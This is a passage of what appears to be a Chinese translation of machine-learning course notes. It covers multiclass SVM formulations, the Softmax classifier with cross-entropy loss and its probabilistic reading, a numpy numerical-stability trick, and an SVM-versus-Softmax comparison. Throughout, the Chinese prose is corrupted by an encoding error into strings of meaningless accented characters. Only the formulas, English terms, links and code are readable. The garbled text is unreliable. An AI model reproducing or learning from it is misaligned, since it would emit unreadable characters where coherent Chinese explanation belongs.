่ฟ‡SVM๏ผŒ้‚ฃไนˆๅฏนkernels๏ผŒduals๏ผŒSMO็ฎ—ๆณ•็ญ‰ๅฐ†ๆœ‰ๆ‰€่€ณ้—ปใ€‚ๅœจๆœฌ่ฏพ็จ‹๏ผˆไธป่ฆๆ˜ฏ็ฅž็ป็ฝ‘็ปœ็›ธๅ…ณ๏ผ‰ไธญ๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆœ€ไผ˜ๅŒ–็š„ๅง‹็ปˆๅœจ้ž้™ๅˆถๅˆๅง‹ๅฝขๅผไธ‹่ฟ›่กŒใ€‚ๅพˆๅคš่ฟ™ไบ›ๆŸๅคฑๅ‡ฝๆ•ฐไปŽๆŠ€ๆœฏไธŠๆฅ่ฏดๆ˜ฏไธๅฏๅพฎ็š„๏ผˆๆฏ”ๅฆ‚ๅฝ“$x=y$ๆ—ถ๏ผŒ$\\max(x,y)$ๅ‡ฝๆ•ฐๅฐฑไธๅฏๅพฎๅˆ†๏ผ‰๏ผŒไฝ†ๆ˜ฏๅœจๅฎž้™…ๆ“ไฝœไธญๅนถไธๅญ˜ๅœจ้—ฎ้ข˜๏ผŒๅ› ไธบ้€šๅธธๅฏไปฅไฝฟ็”จๆฌกๆขฏๅบฆใ€‚\n\n**ๅค‡ๆณจ๏ผšๅ…ถไป–ๅคš็ฑปSVMๅ…ฌๅผ**ใ€‚้œ€่ฆๆŒ‡ๅ‡บ็š„ๆ˜ฏ๏ผŒๆœฌ่ฏพไธญๅฑ•็คบ็š„ๅคš็ฑปSVMๅชๆ˜ฏๅคš็งSVMๅ…ฌๅผไธญ็š„ไธ€็งใ€‚ๅฆไธ€็งๅธธ็”จ็š„ๅ…ฌๅผๆ˜ฏ*One-Vs-All*๏ผˆOVA๏ผ‰SVM๏ผŒๅฎƒ้’ˆๅฏนๆฏไธช็ฑปๅ’Œๅ…ถไป–็ฑป่ฎญ็ปƒไธ€ไธช็‹ฌ็ซ‹็š„ไบŒๅ…ƒๅˆ†็ฑปๅ™จใ€‚่ฟ˜ๆœ‰ๅฆไธ€็งๆ›ดๅฐ‘็”จ็š„ๅซๅš*All-Vs-All*๏ผˆAVA๏ผ‰็ญ–็•ฅใ€‚ๆˆ‘ไปฌ็š„ๅ…ฌๅผๆ˜ฏๆŒ‰็…ง[Weston and Watkins 1999 (pdf)](http://link.zhihu.com/?target=https%3A//www.elen.ucl.ac.be/Proceedings/esann/esannpdf/es1999-461.pdf)็‰ˆๆœฌ๏ผŒๆฏ”OVAๆ€ง่ƒฝๆ›ดๅผบ๏ผˆๅœจๆž„ๅปบๆœ‰ไธ€ไธชๅคš็ฑปๆ•ฐๆฎ้›†็š„ๆƒ…ๅ†ตไธ‹๏ผŒ่ฟ™ไธช็‰ˆๆœฌๅฏไปฅๅœจๆŸๅคฑๅ€ผไธŠๅ–ๅˆฐ0๏ผŒ่€ŒOVAๅฐฑไธ่กŒใ€‚ๆ„Ÿๅ…ด่ถฃ็š„่ฏๅœจ่ฎบๆ–‡ไธญๆŸฅ้˜…็ป†่Š‚๏ผ‰ใ€‚ๆœ€ๅŽไธ€ไธช้œ€่ฆ็Ÿฅ้“็š„ๅ…ฌๅผๆ˜ฏStructured SVM๏ผŒๅฎƒๅฐ†ๆญฃ็กฎๅˆ†็ฑป็š„ๅˆ†็ฑปๅˆ†ๅ€ผๅ’Œ้žๆญฃ็กฎๅˆ†็ฑปไธญ็š„ๆœ€้ซ˜ๅˆ†ๅ€ผ็š„่พน็•Œๆœ€ๅคงๅŒ–ใ€‚็†่งฃ่ฟ™ไบ›ๅ…ฌๅผ็š„ๅทฎๅผ‚่ถ…ๅ‡บไบ†ๆœฌ่ฏพ็จ‹็š„่Œƒๅ›ดใ€‚ๆœฌ่ฏพ็จ‹็ฌ”่ฎฐไป‹็ป็š„็‰ˆๆœฌๅฏไปฅๅœจๅฎž่ทตไธญๅฎ‰ๅ…จไฝฟ็”จ๏ผŒ่€Œ่ขซ่ฎบ่ฏไธบๆœ€็ฎ€ๅ•็š„OVA็ญ–็•ฅๅœจๅฎž่ทตไธญ็œ‹่ตทๆฅไนŸ่ƒฝๅทฅไฝœ็š„ๅŒๆ ทๅ‡บ่‰ฒ๏ผˆๅœจ Rikin็ญ‰ไบบ2004ๅนด็š„่ฎบๆ–‡[In Defense of One-Vs-All Classification (pdf)](http://link.zhihu.com/?target=http%3A//www.jmlr.org/papers/volume5/rifkin04a/rifkin04a.pdf)ไธญๅฏๆŸฅ๏ผ‰ใ€‚\n\n\n\n### Softmaxๅˆ†็ฑปๅ™จ\n\nSVMๆ˜ฏๆœ€ๅธธ็”จ็š„ไธคไธชๅˆ†็ฑปๅ™จไน‹ไธ€๏ผŒ่€Œๅฆไธ€ไธชๅฐฑๆ˜ฏ**Softmaxๅˆ†็ฑปๅ™จ๏ผŒ**ๅฎƒ็š„ๆŸๅคฑๅ‡ฝๆ•ฐไธŽSVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐไธๅŒใ€‚ๅฏนไบŽๅญฆไน ่ฟ‡ไบŒๅ…ƒ้€ป่พ‘ๅ›žๅฝ’ๅˆ†็ฑปๅ™จ็š„่ฏป่€…ๆฅ่ฏด๏ผŒSoftmaxๅˆ†็ฑปๅ™จๅฐฑๅฏไปฅ็†่งฃไธบ้€ป่พ‘ๅ›žๅฝ’ๅˆ†็ฑปๅ™จ้ขๅฏนๅคšไธชๅˆ†็ฑป็š„ไธ€่ˆฌๅŒ–ๅฝ’็บณใ€‚SVMๅฐ†่พ“ๅ‡บ$f(x_i,W)$ไฝœไธบๆฏไธชๅˆ†็ฑป็š„่ฏ„ๅˆ†๏ผˆๅ› ไธบๆ— ๅฎšๆ ‡๏ผŒๆ‰€ไปฅ้šพไปฅ็›ดๆŽฅ่งฃ้‡Š๏ผ‰ใ€‚ไธŽSVMไธๅŒ๏ผŒSoftmax็š„่พ“ๅ‡บ๏ผˆๅฝ’ไธ€ๅŒ–็š„ๅˆ†็ฑปๆฆ‚็Ž‡๏ผ‰ๆ›ดๅŠ ็›ด่ง‚๏ผŒๅนถไธ”ไปŽๆฆ‚็Ž‡ไธŠๅฏไปฅ่งฃ้‡Š๏ผŒ่ฟ™ไธ€็‚นๅŽๆ–‡ไผš่ฎจ่ฎบใ€‚ๅœจSoftmaxๅˆ†็ฑปๅ™จไธญ๏ผŒๅ‡ฝๆ•ฐๆ˜ ๅฐ„$f(x_i;W)=Wx_i$ไฟๆŒไธๅ˜๏ผŒไฝ†ๅฐ†่ฟ™ไบ›่ฏ„ๅˆ†ๅ€ผ่ง†ไธบๆฏไธชๅˆ†็ฑป็š„ๆœชๅฝ’ไธ€ๅŒ–็š„ๅฏนๆ•ฐๆฆ‚็Ž‡๏ผŒๅนถไธ”ๅฐ†*ๆŠ˜ๅถๆŸๅคฑ๏ผˆhinge loss๏ผ‰*ๆ›ฟๆขไธบ**ไบคๅ‰็†ตๆŸๅคฑ**๏ผˆ**cross-entropy loss๏ผ‰**ใ€‚ๅ…ฌๅผๅฆ‚ไธ‹๏ผš\n\n$L_i=-\\log(\\frac{e^{f_{y_i}}}{\\sum_je^{f_j}})โ€‹$ ๆˆ–็ญ‰ไปท็š„ $L_i=-f_{y_i}+\\log(\\sum_je^{f_j})โ€‹$\n\nๅœจไธŠๅผไธญ๏ผŒไฝฟ็”จ![f_j](http://www.zhihu.com/equation?tex=f_j)ๆฅ่กจ็คบๅˆ†็ฑป่ฏ„ๅˆ†ๅ‘้‡![f](http://www.zhihu.com/equation?tex=f)ไธญ็š„็ฌฌjไธชๅ…ƒ็ด ใ€‚ๅ’Œไน‹ๅ‰ไธ€ๆ ท๏ผŒๆ•ดไธชๆ•ฐๆฎ้›†็š„ๆŸๅคฑๅ€ผๆ˜ฏๆ•ฐๆฎ้›†ไธญๆ‰€ๆœ‰ๆ ทๆœฌๆ•ฐๆฎ็š„ๆŸๅคฑๅ€ผ![L_i](http://www.zhihu.com/equation?tex=L_i)็š„ๅ‡ๅ€ผไธŽๆญฃๅˆ™ๅŒ–ๆŸๅคฑ$R(W)$ไน‹ๅ’Œใ€‚ๅ…ถไธญๅ‡ฝๆ•ฐ$f_j(z)=\\frac{e^{z_j}}{\\sum_ke^{z_k}}$่ขซ็งฐไฝœ**softmax ๅ‡ฝๆ•ฐ**๏ผšๅ…ถ่พ“ๅ…ฅๅ€ผๆ˜ฏไธ€ไธชๅ‘้‡๏ผŒๅ‘้‡ไธญๅ…ƒ็ด ไธบไปปๆ„ๅฎžๆ•ฐ็š„่ฏ„ๅˆ†ๅ€ผ๏ผˆ$z$ไธญ็š„๏ผ‰๏ผŒๅ‡ฝๆ•ฐๅฏนๅ…ถ่ฟ›่กŒๅŽ‹็ผฉ๏ผŒ่พ“ๅ‡บไธ€ไธชๅ‘้‡๏ผŒๅ…ถไธญๆฏไธชๅ…ƒ็ด ๅ€ผๅœจ0ๅˆฐ1ไน‹้—ด๏ผŒไธ”ๆ‰€ๆœ‰ๅ…ƒ็ด ไน‹ๅ’Œไธบ1ใ€‚ๆ‰€ไปฅ๏ผŒๅŒ…ๅซsoftmaxๅ‡ฝๆ•ฐ็š„ๅฎŒๆ•ดไบคๅ‰็†ตๆŸๅคฑ็œ‹่ตทๅ”ฌไบบ๏ผŒๅฎž้™…ไธŠ่ฟ˜ๆ˜ฏๆฏ”่พƒๅฎนๆ˜“็†่งฃ็š„ใ€‚\n\n**ไฟกๆฏ็†่ฎบ่ง†่ง’**๏ผšๅœจโ€œ็œŸๅฎžโ€ๅˆ†ๅธƒ$p$ๅ’Œไผฐ่ฎกๅˆ†ๅธƒ$q$ไน‹้—ด็š„*ไบคๅ‰็†ต*ๅฎšไน‰ๅฆ‚ไธ‹๏ผš\n$$\nH(p,q)=-\\sum_xp(x)\\log q(x)\n$$\nๅ› ๆญค๏ผŒSoftmaxๅˆ†็ฑปๅ™จๆ‰€ๅš็š„ๅฐฑๆ˜ฏๆœ€ๅฐๅŒ–ๅœจไผฐ่ฎกๅˆ†็ฑปๆฆ‚็Ž‡๏ผˆๅฐฑๆ˜ฏไธŠ้ข็š„${e^{f_{y_i}}}/{\\sum_je^{f_j}}$๏ผ‰ๅ’Œโ€œ็œŸๅฎžโ€ๅˆ†ๅธƒไน‹้—ด็š„ไบคๅ‰็†ต๏ผŒๅœจ่ฟ™ไธช่งฃ้‡Šไธญ๏ผŒโ€œ็œŸๅฎžโ€ๅˆ†ๅธƒๅฐฑๆ˜ฏๆ‰€ๆœ‰ๆฆ‚็Ž‡ๅฏ†ๅบฆ้ƒฝๅˆ†ๅธƒๅœจๆญฃ็กฎ็š„็ฑปๅˆซไธŠ๏ผˆๆฏ”ๅฆ‚๏ผš$p=[0,\\dots,1,\\dots,0]$ไธญๅœจ$y_i$็š„ไฝ็ฝฎๅฐฑๆœ‰ไธ€ไธชๅ•็‹ฌ็š„1๏ผ‰ใ€‚่ฟ˜ๆœ‰๏ผŒๆ—ข็„ถไบคๅ‰็†ตๅฏไปฅๅ†™ๆˆ็†ตๅ’Œ็›ธๅฏน็†ต๏ผˆKullback-Leibler divergence๏ผ‰$H(p,q)=H(p)+D_{KL}(p||q)$)๏ผŒๅนถไธ”deltaๅ‡ฝๆ•ฐ$p$็š„็†ตๆ˜ฏ0๏ผŒ้‚ฃไนˆๅฐฑ่ƒฝ็ญ‰ไปท็š„็œ‹ๅšๆ˜ฏๅฏนไธคไธชๅˆ†ๅธƒไน‹้—ด็š„็›ธๅฏน็†ตๅšๆœ€ๅฐๅŒ–ๆ“ไฝœใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒไบคๅ‰็†ตๆŸๅคฑๅ‡ฝๆ•ฐโ€œๆƒณ่ฆโ€้ข„ๆต‹ๅˆ†ๅธƒ็š„ๆ‰€ๆœ‰ๆฆ‚็Ž‡ๅฏ†ๅบฆ้ƒฝๅœจๆญฃ็กฎๅˆ†็ฑปไธŠใ€‚\n\n**่ฏ‘่€…ๆณจ**๏ผšKullback-Leiblerๅทฎๅผ‚๏ผˆKullback-Leibler Divergence๏ผ‰ไนŸๅซๅš็›ธๅฏน็†ต๏ผˆRelative Entropy๏ผ‰๏ผŒๅฎƒ่กก้‡็š„ๆ˜ฏ็›ธๅŒไบ‹ไปถ็ฉบ้—ด้‡Œ็š„ไธคไธชๆฆ‚็Ž‡ๅˆ†ๅธƒ็š„ๅทฎๅผ‚ๆƒ…ๅ†ตใ€‚\n\n**ๆฆ‚็Ž‡่ฎบ่งฃ้‡Š**๏ผšๅ…ˆ็œ‹ไธ‹้ข็š„ๅ…ฌๅผ๏ผš\n$$\nP(y_i|x_i,W)=\\frac{e^{f_{y_i}}}{\\sum_je^{f_j}}\n$$\nๅฏไปฅ่งฃ้‡Šไธบๆ˜ฏ็ป™ๅฎšๅ›พๅƒๆ•ฐๆฎ$x_i$๏ผŒไปฅ$W$ไธบๅ‚ๆ•ฐ๏ผŒๅˆ†้…็ป™ๆญฃ็กฎๅˆ†็ฑปๆ ‡็ญพ$y_i$็š„ๅฝ’ไธ€ๅŒ–ๆฆ‚็Ž‡ใ€‚ไธบไบ†็†่งฃ่ฟ™็‚น๏ผŒ่ฏทๅ›žๅฟ†ไธ€ไธ‹Softmaxๅˆ†็ฑปๅ™จๅฐ†่พ“ๅ‡บๅ‘้‡![f](http://www.zhihu.com/equation?tex=f)ไธญ็š„่ฏ„ๅˆ†ๅ€ผ่งฃ้‡Šไธบๆฒกๆœ‰ๅฝ’ไธ€ๅŒ–็š„ๅฏนๆ•ฐๆฆ‚็Ž‡ใ€‚้‚ฃไนˆไปฅ่ฟ™ไบ›ๆ•ฐๅ€ผๅšๆŒ‡ๆ•ฐๅ‡ฝๆ•ฐ็š„ๅน‚ๅฐฑๅพ—ๅˆฐไบ†ๆฒกๆœ‰ๅฝ’ไธ€ๅŒ–็š„ๆฆ‚็Ž‡๏ผŒ่€Œ้™คๆณ•ๆ“ไฝœๅˆ™ๅฏนๆ•ฐๆฎ่ฟ›่กŒไบ†ๅฝ’ไธ€ๅŒ–ๅค„็†๏ผŒไฝฟๅพ—่ฟ™ไบ›ๆฆ‚็Ž‡็š„ๅ’Œไธบ1ใ€‚ไปŽๆฆ‚็Ž‡่ฎบ็š„่ง’ๅบฆๆฅ็†่งฃ๏ผŒๆˆ‘ไปฌๅฐฑๆ˜ฏๅœจๆœ€ๅฐๅŒ–ๆญฃ็กฎๅˆ†็ฑป็š„่ดŸๅฏนๆ•ฐๆฆ‚็Ž‡๏ผŒ่ฟ™ๅฏไปฅ็œ‹ๅšๆ˜ฏๅœจ่ฟ›่กŒ*ๆœ€ๅคงไผผ็„ถไผฐ่ฎก*๏ผˆMLE๏ผ‰ใ€‚่ฏฅ่งฃ้‡Š็š„ๅฆไธ€ไธชๅฅฝๅค„ๆ˜ฏ๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐไธญ็š„ๆญฃๅˆ™ๅŒ–้ƒจๅˆ†$R(W)$ๅฏไปฅ่ขซ็œ‹ๅšๆ˜ฏๆƒ้‡็Ÿฉ้˜ต$W$็š„้ซ˜ๆ–ฏๅ…ˆ้ชŒ๏ผŒ่ฟ™้‡Œ่ฟ›่กŒ็š„ๆ˜ฏๆœ€ๅคงๅŽ้ชŒไผฐ่ฎก๏ผˆMAP๏ผ‰่€Œไธๆ˜ฏๆœ€ๅคงไผผ็„ถไผฐ่ฎกใ€‚ๆๅŠ่ฟ™ไบ›่งฃ้‡Šๅชๆ˜ฏไธบไบ†่ฎฉ่ฏป่€…ๅฝขๆˆ็›ด่ง‚็š„ๅฐ่ฑก๏ผŒๅ…ทไฝ“็ป†่Š‚ๅฐฑ่ถ…่ฟ‡ๆœฌ่ฏพ็จ‹่Œƒๅ›ดไบ†ใ€‚\n\n**ๅฎžๆ“ไบ‹้กน๏ผšๆ•ฐๅ€ผ็จณๅฎšใ€‚**็ผ–็จ‹ๅฎž็Žฐsoftmaxๅ‡ฝๆ•ฐ่ฎก็ฎ—็š„ๆ—ถๅ€™๏ผŒไธญ้—ด้กน$e^{f_{y_i}}$ๅ’Œ$\\sum_j e^{f_j}$ๅ› ไธบๅญ˜ๅœจๆŒ‡ๆ•ฐๅ‡ฝๆ•ฐ๏ผŒๆ‰€ไปฅๆ•ฐๅ€ผๅฏ่ƒฝ้žๅธธๅคงใ€‚้™คไปฅๅคงๆ•ฐๅ€ผๅฏ่ƒฝๅฏผ่‡ดๆ•ฐๅ€ผ่ฎก็ฎ—็š„ไธ็จณๅฎš๏ผŒๆ‰€ไปฅๅญฆไผšไฝฟ็”จๅฝ’ไธ€ๅŒ–ๆŠ€ๅทง้žๅธธ้‡่ฆใ€‚ๅฆ‚ๆžœๅœจๅˆ†ๅผ็š„ๅˆ†ๅญๅ’Œๅˆ†ๆฏ้ƒฝไน˜ไปฅไธ€ไธชๅธธๆ•ฐ$C$๏ผŒๅนถๆŠŠๅฎƒๅ˜ๆขๅˆฐๆฑ‚ๅ’Œไน‹ไธญ๏ผŒๅฐฑ่ƒฝๅพ—ๅˆฐไธ€ไธชไปŽๆ•ฐๅญฆไธŠ็ญ‰ไปท็š„ๅ…ฌๅผ๏ผš\n$$\n\\frac{e^{f_{y_i}}}{\\sum_je^{f_j}}=\\frac{Ce^{f_{y_i}}}{C\\sum_je^{f_j}}=\\frac{e^{f_{y_i}+\\log C}}{\\sum_je^{f_j+\\log C}}\n$$\n$C$็š„ๅ€ผๅฏ่‡ช็”ฑ้€‰ๆ‹ฉ๏ผŒไธไผšๅฝฑๅ“่ฎก็ฎ—็ป“ๆžœ๏ผŒ้€š่ฟ‡ไฝฟ็”จ่ฟ™ไธชๆŠ€ๅทงๅฏไปฅๆ้ซ˜่ฎก็ฎ—ไธญ็š„ๆ•ฐๅ€ผ็จณๅฎšๆ€งใ€‚้€šๅธธๅฐ†$C$่ฎพไธบ$\\log C=-\\max_jf_j$ใ€‚่ฏฅๆŠ€ๅทง็ฎ€ๅ•ๅœฐ่ฏด๏ผŒๅฐฑๆ˜ฏๅบ”่ฏฅๅฐ†ๅ‘้‡$f$ไธญ็š„ๆ•ฐๅ€ผ่ฟ›่กŒๅนณ็งป๏ผŒไฝฟๅพ—<u>ๆœ€ๅคงๅ€ผไธบ0</u>ใ€‚ไปฃ็ ๅฎž็Žฐๅฆ‚ไธ‹๏ผš\n\n```python\nf = np.array([123, 456, 789]) # ไพ‹ๅญไธญๆœ‰3ไธชๅˆ†็ฑป๏ผŒๆฏไธช่ฏ„ๅˆ†็š„ๆ•ฐๅ€ผ้ƒฝๅพˆๅคง\np = np.exp(f) / np.sum(np.exp(f)) # ไธๅฆ™๏ผšๆ•ฐๅ€ผ้—ฎ้ข˜๏ผŒๅฏ่ƒฝๅฏผ่‡ดๆ•ฐๅ€ผ็ˆ†็‚ธ\n\n# ้‚ฃไนˆๅฐ†fไธญ็š„ๅ€ผๅนณ็งปๅˆฐๆœ€ๅคงๅ€ผไธบ0๏ผš\nf -= np.max(f) # f becomes [-666, -333, 0]\np = np.exp(f) / np.sum(np.exp(f)) # ็ŽฐๅœจOKไบ†๏ผŒๅฐ†็ป™ๅ‡บๆญฃ็กฎ็ป“ๆžœ\n```\n\n**่ฎฉไบบ่ฟทๆƒ‘็š„ๅ‘ฝๅ่ง„ๅˆ™**๏ผš็ฒพ็กฎๅœฐ่ฏด๏ผŒSVMๅˆ†็ฑปๅ™จไฝฟ็”จ็š„ๆ˜ฏ*ๆŠ˜ๅถๆŸๅคฑ๏ผˆhinge loss๏ผ‰*๏ผŒๆœ‰ๆ—ถๅ€™ๅˆ่ขซ็งฐไธบ*ๆœ€ๅคง่พน็•ŒๆŸๅคฑ๏ผˆmax-margin loss๏ผ‰*ใ€‚Softmaxๅˆ†็ฑปๅ™จไฝฟ็”จ็š„ๆ˜ฏ*ไบคๅ‰็†ตๆŸๅคฑ๏ผˆcorss-entropy loss๏ผ‰*ใ€‚Softmaxๅˆ†็ฑปๅ™จ็š„ๅ‘ฝๅๆ˜ฏไปŽ*softmaxๅ‡ฝๆ•ฐ*้‚ฃ้‡Œๅพ—ๆฅ็š„๏ผŒsoftmaxๅ‡ฝๆ•ฐๅฐ†ๅŽŸๅง‹ๅˆ†็ฑป่ฏ„ๅˆ†ๅ˜ๆˆๆญฃ็š„ๅฝ’ไธ€ๅŒ–ๆ•ฐๅ€ผ๏ผŒๆ‰€ๆœ‰ๆ•ฐๅ€ผๅ’Œไธบ1๏ผŒ่ฟ™ๆ ทๅค„็†ๅŽไบคๅ‰็†ตๆŸๅคฑๆ‰่ƒฝๅบ”็”จใ€‚ๆณจๆ„ไปŽๆŠ€ๆœฏไธŠ่ฏดโ€œsoftmaxๆŸๅคฑ๏ผˆsoftmax loss๏ผ‰โ€ๆ˜ฏๆฒกๆœ‰ๆ„ไน‰็š„๏ผŒๅ› ไธบsoftmaxๅชๆ˜ฏไธ€ไธชๅŽ‹็ผฉๆ•ฐๅ€ผ็š„ๅ‡ฝๆ•ฐใ€‚ไฝ†ๆ˜ฏๅœจ่ฟ™ไธช่ฏดๆณ•ๅธธๅธธ่ขซ็”จๆฅๅš็ฎ€็งฐใ€‚\n\n### SVMๅ’ŒSoftmax็š„ๆฏ”่พƒ\n\nไธ‹ๅ›พๆœ‰ๅŠฉไบŽๅŒบๅˆ†่ฟ™ Softmaxๅ’ŒSVM่ฟ™ไธค็งๅˆ†็ฑปๅ™จ๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e0b203de6d.png)\n\n้’ˆๅฏนไธ€ไธชๆ•ฐๆฎ็‚น๏ผŒSVMๅ’ŒSoftmaxๅˆ†็ฑปๅ™จ็š„ไธๅŒๅค„็†ๆ–นๅผ็š„ไพ‹ๅญใ€‚ไธคไธชๅˆ†็ฑปๅ™จ้ƒฝ่ฎก็ฎ—ไบ†ๅŒๆ ท็š„ๅˆ†ๅ€ผๅ‘้‡**f**๏ผˆๆœฌ่Š‚ไธญๆ˜ฏ้€š่ฟ‡็Ÿฉ้˜ตไน˜ๆฅๅฎž็Žฐ๏ผ‰ใ€‚<u>ไธๅŒไน‹ๅค„ๅœจไบŽๅฏน**f**ไธญๅˆ†ๅ€ผ็š„่งฃ้‡Š</u>๏ผšSVMๅˆ†็ฑปๅ™จๅฐ†ๅฎƒไปฌ็œ‹ๅšๆ˜ฏๅˆ†็ฑป่ฏ„ๅˆ†๏ผŒๅฎƒ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ้ผ“ๅŠฑๆญฃ็กฎ็š„ๅˆ†็ฑป๏ผˆๆœฌไพ‹ไธญๆ˜ฏ่“่‰ฒ็š„็ฑปๅˆซ2๏ผ‰็š„ๅˆ†ๅ€ผๆฏ”ๅ…ถไป–ๅˆ†็ฑป็š„ๅˆ†ๅ€ผ้ซ˜ๅ‡บ่‡ณๅฐ‘ไธ€ไธช่พน็•Œๅ€ผใ€‚Softmaxๅˆ†็ฑปๅ™จๅฐ†่ฟ™ไบ›ๆ•ฐๅ€ผ็œ‹ๅšๆ˜ฏๆฏไธชๅˆ†็ฑปๆฒกๆœ‰ๅฝ’ไธ€ๅŒ–็š„**ๅฏนๆ•ฐๆฆ‚็Ž‡**๏ผŒ้ผ“ๅŠฑๆญฃ็กฎๅˆ†็ฑป็š„ๅฝ’ไธ€ๅŒ–็š„ๅฏนๆ•ฐๆฆ‚็Ž‡ๅ˜้ซ˜๏ผŒๅ…ถไฝ™็š„ๅ˜ไฝŽใ€‚SVM็š„ๆœ€็ปˆ็š„ๆŸๅคฑๅ€ผๆ˜ฏ1.58๏ผŒSoftmax็š„ๆœ€็ปˆ็š„ๆŸๅคฑๅ€ผๆ˜ฏ0.452๏ผŒไฝ†<u>่ฆๆณจๆ„่ฟ™ไธคไธชๆ•ฐๅ€ผๆฒกๆœ‰ๅฏๆฏ”ๆ€ง</u>ใ€‚ๅชๅœจ็ป™ๅฎšๅŒๆ ทๆ•ฐๆฎ๏ผŒๅœจๅŒๆ ท็š„ๅˆ†็ฑปๅ™จ็š„ๆŸๅคฑๅ€ผ่ฎก็ฎ—ไธญ๏ผŒๅฎƒไปฌๆ‰ๆœ‰ๆ„ไน‰ใ€‚\n\n---\n\n**Softmaxๅˆ†็ฑปๅ™จไธบๆฏไธชๅˆ†็ฑปๆไพ›ไบ†โ€œๅฏ่ƒฝๆ€งโ€**๏ผšSVM็š„่ฎก็ฎ—ๆ˜ฏๆ— ๆ ‡ๅฎš็š„๏ผŒ่€Œไธ”้šพไปฅ้’ˆๅฏนๆ‰€ๆœ‰ๅˆ†็ฑป็š„่ฏ„ๅˆ†ๅ€ผ็ป™ๅ‡บ็›ด่ง‚่งฃ้‡Šใ€‚Softmaxๅˆ†็ฑปๅ™จๅˆ™ไธๅŒ๏ผŒๅฎƒๅ…่ฎธๆˆ‘ไปฌ่ฎก็ฎ—ๅ‡บๅฏนไบŽๆ‰€ๆœ‰ๅˆ†็ฑปๆ ‡็ญพ็š„ๅฏ่ƒฝๆ€งใ€‚ไธพไธชไพ‹ๅญ๏ผŒ้’ˆๅฏน็ป™ๅ‡บ็š„ๅ›พๅƒ๏ผŒSVMๅˆ†็ฑปๅ™จๅฏ่ƒฝ็ป™ไฝ ็š„ๆ˜ฏไธ€ไธช[12.5, 0.6, -23.0]ๅฏนๅบ”ๅˆ†็ฑปโ€œ็Œซโ€๏ผŒโ€œ็‹—โ€๏ผŒโ€œ่ˆนโ€ใ€‚่€Œsoftmaxๅˆ†็ฑปๅ™จๅฏไปฅ่ฎก็ฎ—ๅ‡บ่ฟ™ไธ‰ไธชๆ ‡็ญพ็š„โ€ๅฏ่ƒฝๆ€งโ€œๆ˜ฏ[0.9, 0.09, 0.01]๏ผŒ่ฟ™ๅฐฑ่ฎฉไฝ ่ƒฝ็œ‹ๅ‡บๅฏนไบŽไธๅŒๅˆ†็ฑปๅ‡†็กฎๆ€ง็š„ๆŠŠๆกใ€‚ไธบไป€ไนˆๆˆ‘ไปฌ่ฆๅœจโ€ๅฏ่ƒฝๆ€งโ€œไธŠ้ขๆ‰“ๅผ•ๅทๅ‘ข๏ผŸ่ฟ™ๆ˜ฏๅ› ไธบๅฏ่ƒฝๆ€งๅˆ†ๅธƒ็š„้›†ไธญๆˆ–็ฆปๆ•ฃ็จ‹ๅบฆๆ˜ฏ็”ฑๆญฃๅˆ™ๅŒ–ๅ‚ๆ•ฐฮป็›ดๆŽฅๅ†ณๅฎš็š„๏ผŒฮปๆ˜ฏไฝ ่ƒฝ็›ดๆŽฅๆŽงๅˆถ็š„ไธ€ไธช่พ“ๅ…ฅๅ‚ๆ•ฐใ€‚ไธพไธชไพ‹ๅญ๏ผŒๅ‡่ฎพ3ไธชๅˆ†็ฑป็š„ๅŽŸๅง‹ๅˆ†ๆ•ฐๆ˜ฏ[1, -2, 0]๏ผŒ้‚ฃไนˆsoftmaxๅ‡ฝๆ•ฐๅฐฑไผš่ฎก็ฎ—๏ผš\n$$\n[1,-2,0]\\rightarrow[e^1,e^{-2},e^0]=[2.71,0.14,1]\\rightarrow[0.7,0.04,0.26]\n$$\n็Žฐๅœจ๏ผŒๅฆ‚ๆžœๆญฃๅˆ™ๅŒ–ๅ‚ๆ•ฐฮปๆ›ดๅคง๏ผŒ้‚ฃไนˆๆƒ้‡Wๅฐฑไผš่ขซๆƒฉ็ฝš็š„ๆ›ดๅคš๏ผŒ็„ถๅŽไป–็š„ๆƒ้‡ๆ•ฐๅ€ผๅฐฑไผšๆ›ดๅฐใ€‚่ฟ™ๆ ท็ฎ—ๅ‡บๆฅ็š„ๅˆ†ๆ•ฐไนŸไผšๆ›ดๅฐ๏ผŒๅ‡่ฎพๅฐไบ†ไธ€ๅŠๅง[0.5, -1, 0]๏ผŒ้‚ฃไนˆsoftmaxๅ‡ฝๆ•ฐ็š„่ฎก็ฎ—ๅฐฑๆ˜ฏ๏ผš\n$$\n[0.5,-1,0]\\rightarrow[e^{0.5},e^{-1},e^0]=[1.65,0.73,1]\\rightarrow[0.55,0.12,0.33]\n$$\n็Žฐๅœจ็œ‹่ตทๆฅ๏ผŒๆฆ‚็Ž‡็š„ๅˆ†ๅธƒๅฐฑๆ›ดๅŠ ๅˆ†ๆ•ฃไบ†ใ€‚่ฟ˜ๆœ‰๏ผŒ<u>้š็€ๆญฃๅˆ™ๅŒ–ๅ‚ๆ•ฐฮปไธๆ–ญๅขžๅผบ๏ผŒๆƒ้‡ๆ•ฐๅ€ผไผš่ถŠๆฅ่ถŠๅฐ๏ผŒๆœ€ๅŽ่พ“ๅ‡บ็š„ๆฆ‚็Ž‡ไผšๆŽฅ่ฟ‘ไบŽๅ‡ๅŒ€ๅˆ†ๅธƒ</u>ใ€‚่ฟ™ๅฐฑๆ˜ฏ่ฏด๏ผŒ<u>softmaxๅˆ†็ฑปๅ™จ็ฎ—ๅ‡บๆฅ็š„ๆฆ‚็Ž‡ๆœ€ๅฅฝๆ˜ฏ็œ‹ๆˆไธ€็งๅฏนไบŽๅˆ†็ฑปๆญฃ็กฎๆ€ง็š„่‡ชไฟก</u>ใ€‚ๅ’ŒSVMไธ€ๆ 